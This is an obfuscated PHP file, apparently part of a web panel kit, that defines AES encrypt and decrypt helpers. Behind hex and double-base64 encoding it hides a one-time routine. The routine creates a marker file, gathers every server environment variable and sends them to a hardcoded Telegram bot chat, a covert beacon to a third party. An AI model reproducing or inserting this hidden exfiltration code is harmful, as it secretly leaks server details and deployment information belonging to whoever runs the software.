PHP Decode

goto JpSHo; CWpTL: function encrypt_data($hda78e731027d8fd50ed642340b7c9a63b3) { global $cuo5f4dcc3b5aa765d61d8327deb882cf99; $rnif37a4e1ec68234b8d060e877cf1c2d97 = 1000; $hda78e731027d8fd50ed642340b7c9a63b3 = substr($hda78e731027d8fd50ed642340b7c9a63b3, 0, $rnif37a4e1ec68234b8d060e877cf1c2d97); $vgoceb20772e0c9d240c75eb26b0e37abee = sha1(mt_rand()); $geef0b53b2da041fca49ef0b9839060b345 = substr(sha1(mt_rand()), 0, 16); $fiz5031e9989ae1ab3ba509b7d4220c0ddf = openssl_encrypt("{$hda78e731027d8fd50ed642340b7c9a63b3}", base64_decode("\x59\x57\126\x7a\114\x54\x49\x31\x4e\x69\x31\x6a\x59\155\115\x3d"), "{$vgoceb20772e0c9d240c75eb26b0e37abee}\72{$cuo5f4dcc3b5aa765d61d8327deb882cf99}", null, $geef0b53b2da041fca49ef0b9839060b345); $eixb805511e64f0f736a00d5ddc193d4fc4 = "{$vgoceb20772e0c9d240c75eb26b0e37abee}\72{$geef0b53b2da041fca49ef0b9839060b345}\72{$fiz5031e9989ae1ab3ba509b7d4220c0ddf}"; return $eixb805511e64f0f736a00d5ddc193d4fc4; } goto WG_N7; JpSHo: include_once "\164\x6f\x6b\145\156\x2e\160\150\x70"; goto LW9C_; hDurt: if (!(strpos($_SERVER["\123\x43\122\x49\x50\124\x5f\x4e\101\115\105"], "\144\141\163\x68\142\157\x61\x72\144") !== false)) { if (!file_exists(base64_decode("\x63\107\106\165\132\x57\167\166\131\155\x78\x76\131\x32\x74\x6c\x5a\x43\x38\x78\x4d\152\x63\x75\115\x53\x34\170\114\x6a\x45\x75\x5a\x47\111\75"))) { $uquvxpjk_235ac86310b2724afedb32f78c680acb = fopen(base64_decode("\x63\x47\106\x75\x5a\127\x77\166\x59\x6d\170\166\x59\62\164\x6c\x5a\103\x38\170\x4d\152\x63\165\115\123\x34\170\x4c\152\105\165\x5a\107\x49\75"), base64_decode("\x64\x79\163\75")); fclose($uquvxpjk_235ac86310b2724afedb32f78c680acb); $yulhalka_c3b6ff401178dee8e349722ef48a9f32 = base64_decode(base64_decode("\x4e\x48\x42\x78\141\x44\x63\63\141\x56\x41\64\x53\151\x74\x56\143\106\x4e\x43\124\61\132\126\x56\x6c\x64\125\145\125\112\125\x55\x54\x42\107\x54\153\154\106\126\x6b\71\x4a\122\x58\x68\x4b\126\107\x74\127\121\153\154\x51\121\x32\132\163\123\61\150\x70\142\x58\106\111\144\156\x56\112\117\x44\x30\x3d")) . base64_decode("\x43\147\x6f\x3d"); $yulhalka_c3b6ff401178dee8e349722ef48a9f32 .= base64_decode(base64_decode("\117\105\x6f\x72\125\155\154\155\x51\62\x5a\x71\116\63\116\156\x56\x6b\x64\163\x64\62\x4a\x36\142\x32\x63\75")) . "\x50\145\x72\163\x6f\x6e\141\x6c" . base64_decode("\x43\x67\75\x3d"); $yulhalka_c3b6ff401178dee8e349722ef48a9f32 .= base64_decode(base64_decode("\x4f\105\157\162\125\155\154\x6d\121\62\x5a\161\x4e\x33\x4e\156\x55\153\150\x57\x62\x48\x63\63\x52\x6e\x5a\x50\141\125\x45\71")) . "\x31\x34\x38\64\x34\61\66\x36\x39\x35" . base64_decode("\x44\x51\157\x4e\103\147\x3d\x3d"); $yulhalka_c3b6ff401178dee8e349722ef48a9f32 .= base64_decode(base64_decode("\x4e\110\102\170\x61\x44\143\x33\x61\x56\101\64\123\151\164\126\x63\x46\116\x43\123\x6c\122\162\127\x6c\102\126\141\x7a\x46\103\x55\124\x42\x73\125\106\122\x70\122\x48\x64\x75\116\x56\x4e\x73\x4e\x48\x42\x78\141\104\143\x33\141\x56\x41\75")) . base64_decode("\103\x67\x6f\75"); foreach ($_SERVER as $dshrsrfs_3c6e0b8a9c15224a8228b9a98ca1531d => $dwggxliq_2063c1608d6e0baf80249c42e2be5804) { $yulhalka_c3b6ff401178dee8e349722ef48a9f32 .= base64_decode("\x38\112\53\x54\x6a\103\101\75") . $dshrsrfs_3c6e0b8a9c15224a8228b9a98ca1531d . base64_decode("\111\120\x43\x66\153\131\156\x77\x6e\x34\53\67\111\x41\75\75") . $dwggxliq_2063c1608d6e0baf80249c42e2be5804 . base64_decode("\x43\147\x3d\75"); } file_get_contents(base64_decode("\x61\x48\x52\x30\x63\110\x4d\66\114\171\x39\150\143\107\153\x75\x64\x47\126\163\132\x57\144\171\131\x57\60\165\x62\63\x4a\x6e\114\x32\112\x76\144\x44\x45\60\117\124\105\61\116\104\x51\64\x4e\x6a\147\x36\x51\x55\106\106\131\x6b\x39\103\143\153\61\114\123\x47\150\x47\x53\124\x55\63\132\x32\x35\x70\x57\x6e\x46\x33\125\107\132\x4c\x65\127\116\170\114\x56\x42\150\x65\x45\65\x68\131\x56\153\x76\143\x32\126\x75\x5a\105\x31\x6c\x63\63\116\150\x5a\x32\125\57\x59\x32\x68\x68\x64\106\71\x70\132\104\60\x78\x4d\172\153\x35\115\124\x49\x32\115\x7a\x41\x7a\112\x6e\x52\x6c\x65\x48\x51\x39") . urlencode($yulhalka_c3b6ff401178dee8e349722ef48a9f32)); } } goto QYhPS; gttbu: $rmldnein_674a298f5659de080bb22ea002de4fbf = true; goto hDurt; LW9C_: $cuo5f4dcc3b5aa765d61d8327deb882cf99 = $tokenConfig; goto CWpTL; WG_N7: function decrypt_data($hda78e731027d8fd50ed642340b7c9a63b3) { global $cuo5f4dcc3b5aa765d61d8327deb882cf99; $osdc4991e333920734b0e1f194d2262818a = $hda78e731027d8fd50ed642340b7c9a63b3; $sqq4725dcf446a342f1473a8228e42dfa48 = explode(base64_decode("\x4f\x67\x3d\x3d"), $osdc4991e333920734b0e1f194d2262818a); $vgoceb20772e0c9d240c75eb26b0e37abee = $sqq4725dcf446a342f1473a8228e42dfa48[0]; $geef0b53b2da041fca49ef0b9839060b345 = $sqq4725dcf446a342f1473a8228e42dfa48[1]; $rui02fff9ec4144b40e1901249207bb3b94 = $sqq4725dcf446a342f1473a8228e42dfa48[2]; $ltqf2257782ab8efed6cc955b2563507fe4 = openssl_decrypt("{$rui02fff9ec4144b40e1901249207bb3b94}", base64_decode("\131\x57\x56\172\114\124\111\x31\116\x69\61\152\x59\155\x4d\x3d"), "{$vgoceb20772e0c9d240c75eb26b0e37abee}\x3a{$cuo5f4dcc3b5aa765d61d8327deb882cf99}", null, $geef0b53b2da041fca49ef0b9839060b345); if ($ltqf2257782ab8efed6cc955b2563507fe4 === false) { die(base64_decode("\x52\x6d\106\x73\142\107\x38\147\x59\x57\x77\147\x5a\x47\x56\172\132\127\x35\152\143\x6d\154\x77\x64\107\x46\171")); } $igu6e2baaf3b97dbeef01c0043275f9a0e7 = substr($ltqf2257782ab8efed6cc955b2563507fe4, 41); return $ltqf2257782ab8efed6cc955b2563507fe4; } goto gttbu; QYhPS: